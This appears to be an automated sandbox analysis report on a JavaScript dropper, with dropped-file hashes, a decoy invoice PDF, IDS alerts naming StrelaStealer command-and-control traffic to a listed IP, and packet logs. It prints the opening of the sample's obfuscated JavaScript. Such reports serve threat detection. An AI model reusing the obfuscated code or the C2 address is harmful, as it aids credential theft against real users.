Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\67a7ae17-6a69-40ab-9956-acad7a6e03f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:uoD9WL07oXGZflYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:uy9WLxXGZNZGH3mlind9i4ufFXpAXkru
MD5:	130BE2FD618BFD72EFAE881EB827AE8F
SHA1:	943042DBAF8A8E2F70A79F41F6B0C76880D62803
SHA-256:	647467C57EE2B583A18E9946EA78CEC9265634A35F8A5E584097818DAA596004
SHA-512:	4741A8FC7E59C5260EA1AF15C3C82FA95625FE3CB1025F311C859B4F9732A126826C4E2FFDAACB7CF72CE15DD901AAC4F2152DACDF7AABAD07CA4A901DDEE9BC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\801fbb64-7bb8-40bd-8dca-fa32661cef28.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b208e222-08cf-4afe-a290-98bc9b446f28.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17466), with CRLF line terminators
Entropy (8bit):	4.924112920728154
TrID:
File name:	244312574730704684.js
File size:	20'989 bytes
MD5:	9471eada7d378c006d61227673259df4
SHA1:	e8b2d0bb7fb84afc7a12271d7a28b2f893182b5f
SHA256:	5f9a3e49bf148b4d71ec6ea1fd23f961ce2e9bd71e64af6ddffb0de59efc8cbf
SHA512:	251720b0301ac6f6fed337f01dbda4ea4a2b665a59ff9eb9783bc245600553dbced1d948dd78227308c1730b4e689db8131ab4299a3a27117dd6e1236ad4ec07
SSDEEP:	192:FMgMHT6v6g+/OknV2zEYUFkHA8MD7oSIm3N9FJdN1rSRYX1XTmLmbWF2pIi2jtd2:agsT6v6n8DGzD7oSI5Hu4p6MMsu
TLSH:	EC9210BD4125C2D7D6EC27F64B53C5A6B281410C0EA8C1AD3907AC4B874DF31BAFA9B1
File Content Preview:	function mvolxnwsr(){gepahdlrz=[1031,3079,5127,4103,2055,3072];var owijer=this[appnp+ljvsdau+hpvznui+vjidqpzbq+ylqtnaf+yrxhb+lwbxka+pxbgf](this[ejjlvcxq+xhqnxziu+kjrtwta+hpvznui+bqfcbozn+appnp+pxbgf][krgvnfx+hpvznui+ylqtnaf+ljvsdau+pxbgf+ylqtnaf+xzevt+rol

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:30:36.665641+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49752	193.143.1.205	80	TCP
2025-01-11T06:30:36.665641+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49752	193.143.1.205	80	TCP
2025-01-11T06:30:39.282809+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49768	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:30:35.879271030 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:35.884152889 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:35.884236097 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:35.887779951 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:35.892601013 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665544033 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665568113 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665579081 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665641069 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.665725946 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665744066 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665755033 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665766954 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665775061 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.665780067 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665791988 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665792942 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.665805101 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.665826082 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.665847063 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.670444965 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.708897114 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.708911896 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.708923101 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.708961010 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.709012032 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.782825947 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.782840967 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.782888889 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.782907009 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.782917976 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.782941103 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.782990932 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.782990932 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.782990932 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.783529997 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.783540964 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.783552885 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.783593893 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.783921957 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.783946037 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.783957005 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.783967972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.783978939 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.783999920 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.784035921 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.784626961 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.784667969 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.784677029 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.784722090 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.784724951 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.784733057 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.784775972 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.785495996 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.785598040 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.785650969 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.799405098 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.799420118 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.799432993 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.799444914 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.799475908 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.799541950 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.826139927 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.826163054 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.826196909 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.873655081 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.873667955 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.873708963 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.900388002 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.900403023 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.900420904 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.900433064 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.900433064 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.900446892 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.900459051 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.900465965 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.900471926 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.900494099 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.900510073 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.900685072 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.900731087 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.900743008 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.900759935 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.901098013 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.901109934 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.901120901 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.901133060 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.901143074 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.901171923 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.901174068 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.901184082 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.901195049 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.901216030 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.901324034 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.902014971 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902028084 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902039051 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902049065 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902060032 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902065992 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.902072906 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902085066 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902103901 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.902899981 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902910948 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902921915 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902934074 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902944088 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.902944088 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902957916 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902959108 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.902971983 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.902990103 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.903008938 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.903713942 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.903727055 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.903738022 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.903753996 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.903754950 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.903768063 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.903779984 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.903790951 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.903805017 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.903831005 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.904527903 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.904540062 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.904557943 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.904567957 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.904572964 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.904581070 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.904599905 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.904619932 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.964111090 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.964131117 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.964143991 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.964154959 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.964167118 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.964188099 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.964234114 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:36.990832090 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.990847111 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:36.990880013 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.017735958 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.017756939 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.017776012 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.017786980 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.017791986 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.017802000 CET	80	49752	193.143.1.205	192.168.2.9
